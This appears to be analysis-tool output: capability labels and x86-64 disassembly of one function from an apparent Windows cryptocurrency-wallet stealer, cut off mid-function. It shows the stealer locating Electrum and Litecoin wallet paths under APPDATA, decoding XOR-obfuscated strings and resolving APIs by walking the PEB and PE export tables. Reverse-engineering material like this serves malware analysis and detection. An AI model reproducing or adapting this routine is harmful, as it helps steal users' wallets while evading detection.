Function at 0x1400f4110
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using murmur2
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xdb0]
sub rsp, 0xeb0
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0x2c0], rdx
mov rsi, qword [0x1401968b8]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xc90]
call fcn.14012e2b0
lea rdx, str.APPDATA
lea rcx, [rbp + 0x9c0]
call fcn.1400f7980
mov rcx, rax
call fcn.14001e2d0
mov r12, rax
mov cl, 0x57
mov byte [rsp + 0x40], cl
movdqa xmm0, xmmword [0x140174920]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x35363e25
mov dword [rbp - 0x7c], 0x16323b
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f41ca
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f41d9
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor r14d, r14d
mov r8d, r14d
lea r9, [rsp + 0x44]
mov r13d, 8
mov r10d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f4200
lea r9d, [r10 + 0x17]
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f427d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f428c
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rsp + 0x44]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f42a0
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdi, rax
test rax, rax
jne 0x1400f430b
mov rdi, r14
jmp 0x1400f4350
movsx edx, byte [rsp + 0x40]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 7
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f4340
mov byte [rdi + 0x17], r14b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], r14
je 0x1400f4443
mov eax, 0x5a4d
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x1400f4435
cmp word [r11], ax
jne 0x1400f4440
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400f4440
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400f4440
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400f4430
nop
xor r8b, r8b
mov eax, dword [r9]
add rax, r11
cmp byte [rax], r8b
je 0x1400f4424
mov rdx, rdi
sub rdx, rax
movzx ecx, byte [rax + rdx]
test cl, cl
je 0x1400f441f
cmp byte [rax], cl
jne 0x1400f4424
mov r8b, 1
inc rax
cmp byte [rax], 0
jne 0x1400f43f4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x1400f4446
test r8b, r8b
jne 0x1400f440b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400f43e0
mov eax, 0x5a4d
cmp qword [rsi + 0x60], 0
jne 0x1400f4380
xor r14d, r14d
mov rax, r14
mov r8d, 0x104
lea rdx, [rbp + 0xc90]
mov rcx, r12
call rax
dec eax
cmp eax, 0x102
ja 0x1400f73b0
lea rcx, [rbp + 0xc90]
mov rsi, 0xffffffffffffffff
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400f4476
cmp byte [rbp + rax + 0xc8f], 0x5c
jne 0x1400f44a0
dec rax
cmp rax, 0x104
jae 0x1400f73e2
mov byte [rbp + rax + 0xc90], 0
lea rax, [rbp + 0x700]
mov qword [rsp + 0x28], rax
mov al, 0x21
mov byte [rbp + 0x870], al
movdqa xmm0, xmmword [str.bSXQUNdUIDSDTL]
movdqu xmmword [rbp + 0x8a0], xmm0
movsx ebx, al
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f44df
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f44ee
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x874]
mov r10, r13
nop dword [rax]
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f4510
lea r9d, [r10 + 0xf]
lea r8, [rbp + 0x874]
lea rdx, [rbp + 0x8a0]
call fcn.14011c9b0
mov qword [rbp + 0x898], rax
movsx ebx, byte [rbp + 0x870]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4595
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f45a4
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x874]
mov r10, r13
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f45c0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x874]
mov rdx, qword [rbp + 0x898]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f462f
mov rdx, r14
jmp 0x1400f4650
mov ecx, 0xf
movzx r8d, byte [rbp + 0x870]
nop dword [rax]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f4640
mov byte [rdx + 0xf], cl
mov qword [rbp + 0x700], r14
mov qword [rbp + 0x710], r14
mov qword [rbp + 0x718], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f4670
lea rcx, [rbp + 0x700]
call fcn.14001ea30
nop
mov cl, 0x51
mov byte [rbp + 0x4d0], cl
movdqa xmm0, xmmword [0x1401749a0]
movdqu xmmword [rbp + 0x500], xmm0
mov word [rbp + 0x510], 0x3423
xor eax, eax
mov byte [rbp + 0x512], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f46cb
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f46da
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x4d4]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f46f0
lea r9d, [r10 + 0x12]
lea r8, [rbp + 0x4d4]
lea rdx, [rbp + 0x500]
call fcn.14011c9b0
mov qword [rbp + 0x4f8], rax
movsx ebx, byte [rbp + 0x4d0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4775
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4784
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x4d4]
mov r9, r13
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f47a0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x4d4]
mov rdx, qword [rbp + 0x4f8]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x1400f480b
mov rbx, r14
jmp 0x1400f484f
movsx edx, byte [rbp + 0x4d0]
movd xmm1, edx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
add rax, 0x10
mov ecx, 2
nop dword [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f4840
mov byte [rbx + 0x12], cl
mov qword [rbp + 0x800], r14
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x810], xmm0
mov byte [rbp + 0x800], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f4880
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x800]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x800]
call fcn.14001e570
mov qword [rbp + 0x3c0], r14
mov qword [rbp + 0x3d0], r14
mov qword [rbp + 0x3d8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3d0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x700]
lea r8, [rbp + 0x3c0]
mov r12, qword [rbp + 0x2c0]
mov rdx, r12
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x800]
call fcn.14001e820
lea rax, [rbp + 0x7e0]
mov qword [rsp + 0x20], rax
mov al, 0x19
mov byte [rbp + 0x8b0], al
movdqa xmm0, xmmword [str.Zk_imvEuzmklt]
movdqu xmmword [rbp + 0x8e0], xmm0
movsx ebx, al
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4957
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4966
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x8b4]
mov r9, r13
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4980
mov r9d, 0xf
lea r8, [rbp + 0x8b4]
lea rdx, [rbp + 0x8e0]
call fcn.14011c9b0
mov qword [rbp + 0x8d8], rax
movsx ebx, byte [rbp + 0x8b0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4a03
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4a12
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x8b4]
mov r9, r13
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4a30
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x8b4]
mov rdx, qword [rbp + 0x8d8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f4a9b
mov rdx, r14
jmp 0x1400f4ac0
mov ecx, 0xf
movzx r8d, byte [rbp + 0x8b0]
nop dword [rax + rax]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f4ab0
mov byte [rdx + 0xf], cl
mov qword [rbp + 0x7e0], r14
mov qword [rbp + 0x7f0], r14
mov qword [rbp + 0x7f8], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f4ae0
lea rcx, [rbp + 0x7e0]
call fcn.14001ea30
nop
lea rdx, str.Electrumwallets
lea rcx, [rbp + 0xac0]
call fcn.1400f7aa0
mov rcx, rax
call fcn.14001e060
mov rbx, rax
mov qword [rbp + 0x7c0], r14
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x7d0], xmm0
mov byte [rbp + 0x7c0], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f4b40
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x7c0]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x7c0]
call fcn.14001e570
mov qword [rbp + 0x380], r14
mov qword [rbp + 0x390], r14
mov qword [rbp + 0x398], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x390], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x7e0]
lea r8, [rbp + 0x380]
mov rdx, r12
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x7c0]
call fcn.14001e820
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x20], rax
mov cl, 0x14
mov byte [rbp - 0x30], cl
mov dword [rbp], 0x646d6657
mov dword [rbp + 4], 0x56487b60
mov dword [rbp + 8], 0x7b77607d
mov word [rbp + 0xc], 0x7a7d
xor eax, eax
mov byte [rbp + 0xe], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4c18
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4c27
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp - 0x2c]
mov r9, r13
nop dword [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4c40
mov r15d, 0xe
mov r9d, r15d
lea r8, [rbp - 0x2c]
lea rdx, [rbp]
call fcn.14011c9b0
mov qword [rbp - 8], rax
movsx ebx, byte [rbp - 0x30]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4cb9
lea edx, [r15 + 0x76]
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4cc8
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp - 0x2c]
mov r9, r13
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4ce0
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x2c]
mov rdx, qword [rbp - 8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f4d45
mov rdx, r14
jmp 0x1400f4d60
mov rcx, r15
movzx r8d, byte [rbp - 0x30]
nop dword [rax]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f4d50
mov byte [rdx + 0xe], cl
mov qword [rbp + 0x7a0], r14
mov qword [rbp + 0x7b0], r14
mov qword [rbp + 0x7b8], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f4d80
lea rcx, [rbp + 0x7a0]
call fcn.14001ea30
nop
mov cl, 0x6c
mov byte [rbp + 0x8f0], cl
movdqa xmm0, xmmword [0x140174870]
movdqu xmmword [rbp + 0x920], xmm0
xor eax, eax
mov byte [rbp + 0x930], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4dd2
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4de1
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x8f4]
mov r9, r13
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4e00
mov r9d, 0x10
lea r8, [rbp + 0x8f4]
lea rdx, [rbp + 0x920]
call fcn.14011c9b0
mov qword [rbp + 0x918], rax
movsx ebx, byte [rbp + 0x8f0]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f4e83
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f4e92
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r14d
lea r8, [rbp + 0x8f4]
mov r9, r13
nop word [rax + rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400f4eb0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x8f4]
mov rdx, qword [rbp + 0x918]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x1400f4f1b
mov rbx, r14
jmp 0x1400f4f43
movsx eax, byte [rbp + 0x8f0]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rbx]
pxor xmm1, xmm0
movdqu xmmword [rbx], xmm1
mov byte [rbx + 0x10], 0
mov qword [rbp + 0x780], r14
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x790], xmm0
mov byte [rbp + 0x780], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400f4f70
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x780]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x780]
call fcn.14001e570
mov qword [rbp + 0x3e0], r14
mov qword [rbp + 0x3f0], r14
mov qword [rbp + 0x3f8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x7a0]
lea r8, [rbp + 0x3e0]
mov rdx, r12
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x780]
call fcn.14001e820
lea rax, [rbp + 0x760]
mov qword [rsp + 0x20], rax
lea rdx, str.CryptoLitecoin
lea rcx, [rbp + 0xa40]
call fcn.1400f7c20
mov rcx, rax
call fcn.1400f73f0
mov qword [rbp + 0x760], r14
mov qword [rbp + 0x770], r14
mov qword [rbp + 0x778], 0xf
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400f5040
mov rdx, rax
lea rcx, [rbp + 0x760]
call fcn.14001ea30
nop
mov cl, 0x38
mov byte [rbp + 0x820], cl
movdqa xmm0, xmmword [0x140174a40]
movdqu xmmword [rbp + 0x850], xmm0
mov word [rbp + 0x860], 0x4b
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5096
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f50a5
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x824]
mov r10, r13
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f50c0
lea r9d, [r10 + 0x11]
lea r8, [rbp + 0x824]
lea rdx, [rbp + 0x850]
call fcn.14011c9b0
mov qword [rbp + 0x848], rax
movsx ebx, byte [rbp + 0x820]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5145
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5154
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x824]
mov r10, r13
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f5170
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x824]
mov rdx, qword [rbp + 0x848]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x1400f51df
mov rbx, r14
jmp 0x1400f520a
movsx ecx, byte [rbp + 0x820]
movd xmm1, ecx
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
movdqu xmm0, xmmword [rax]
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
xor byte [rax + 0x10], cl
mov byte [rax + 0x11], 0
mov qword [rbp + 0x740], r14
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp + 0x750], xmm0
mov byte [rbp + 0x740], 0
lea rax, [rbp + 0xc90]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400f5232
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x740]
call fcn.14001ea30
nop
mov rdx, rbx
lea rcx, [rbp + 0x740]
call fcn.14001e570
mov qword [rbp + 0x400], r14
mov qword [rbp + 0x410], r14
mov qword [rbp + 0x418], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x760]
lea r8, [rbp + 0x400]
mov rdx, r12
mov rcx, rdi
call fcn.1400f2ae0
nop
lea rcx, [rbp + 0x740]
call fcn.14001e820
lea rax, [rbp + 0x520]
mov qword [rsp + 0x20], rax
mov cl, 0x28
mov byte [rbp + 0x90], cl
mov dword [rbp + 0xc0], 0x58515a6b
mov dword [rbp + 0xc4], 0x6d74475c
mov dword [rbp + 0xc8], 0x5d4c4750
mov word [rbp + 0xcc], 0x5b
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f5314
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f5323
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp + 0x94]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f5340
mov r14d, 0xd
mov r9d, r14d
lea r8, [rbp + 0x94]
lea rdx, [rbp + 0xc0]
call fcn.14011c9b0
mov qword [rbp + 0xb8], rax
movsx ebx, byte [rbp + 0x90]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400f53c9
lea edx, [r14 + 0x77]
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1400f53d8
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
xor ebx, ebx
mov r8d, ebx
lea r9, [rbp + 0x94]
mov r10, r13
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400f53f0
mov r9d, dword [0x140196874]
lea r8, [rbp + 0x94]
mov rdx, qword [rbp + 0xb8]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1400f545f
mov rdx, rbx
jmp 0x1400f5480
mov rcx, r14
movzx r8d, byte [rbp + 0x90]
nop word [rax + rax]
xor byte [rax], r8b
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400f5470
mov byte [rdx + 0xd], bl
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x530], rbx
mov qword [rbp + 0x538], 0xf
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], bl
jne 0x1400f54a0
lea rcx, [rbp + 0x520]
call fcn.14001ea30
nop
mov cl, 0x66
